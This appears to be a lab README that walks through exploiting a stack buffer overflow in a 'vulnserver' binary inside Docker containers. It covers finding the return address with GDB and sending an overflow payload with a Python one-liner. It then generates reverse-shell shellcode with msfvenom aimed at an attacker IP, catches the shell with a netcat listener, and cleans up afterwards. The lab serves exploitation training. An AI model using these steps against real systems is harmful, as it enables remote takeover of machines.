step 1 environment setting

Permissions & execution script

If you are using Windows, you can open WSL to execute it.

chmod +x setup_environment.sh
./setup_environment.sh

step 2: Finding dynamic values (manual steps required)

Since memory addresses and IPs are dynamic in different environments, you need to find them manually and update the exploit.py script.

2.0 First open two attacker dockers and one victim docker as preparation for later

docker exec -it atac /bin/bash
docker exec -it vic /bin/bash

2.1 Find stack_address (return address)

The goal of this step is to find a stable stack address so that our payload can jump precisely.

1. Start GDB in the victim docker

gdb ./vulnserver

2. Set a breakpoint after the strcpy function

(gdb) b strcpy

3. Run the program, and vulnserver starts listening

(gdb) run

Trigger the breakpoint: Using the attacker docker, execute the following command to send a test payload. This will make GDB stop at the breakpoint. Note: Replace <VICTIM_IP> with the Victim IP shown in step 1.

python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'

Find and record the address: Return to the terminal window where GDB is running; the program should have stopped. Execute the following command to inspect the stack:

(gdb) x/200wx $esp

In the output, find a region composed of 0x43434343 (representing 'C'). Pick any address from the middle of this region (for example, 0xffffd580) and copy it down. This is the stack_address.

2.2 Update exploit.py and generate buf (Shellcode)

Update stack_address:

Use a text editor to update the stack_address in exploit.py to the address you just copied.

Generate and update buf (Shellcode):

In the shell of the attacker container, execute the msfvenom command to generate shellcode. Note: Replace <ATTACKER_IP> with the Attacker IP shown in step 1.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python

Copy the entire buf = b""... code output by msfvenom, and use it to completely replace the existing buf variable section in the exploit.py file.

step 3: Execute the attack

Start the listener: In the shell window of one of the attacker containers, execute the following command to start the netcat listener.

nc -lvnp 4444

Victim opens a connection:

You can use the following two methods. Method 1

./vulnserver

Method 2

gdb ./vulnserver
gef➤  run

Execute the attack script: Run the updated exploit.py in the attacker docker. (Note: Replace <victim_ip> with the victim ip shown in step 1.)

python3 exploit.py <victim_ip>

Verify the result: Switch back to the window where the netcat listener is running. If everything goes smoothly, you should see a connection established and get an interactive shell. You can enter commands such as whoami and ls -la to verify.

step 4: Clean up the environment

Exit GDB and the container:

Enter quit in GDB, then enter exit in the container shell.

You can execute the following commands to stop and clean up all containers and networks.

docker stop vic atac
docker network rm 111550082_net

Most Popular

CVE-2025-22457-vulnserver-lab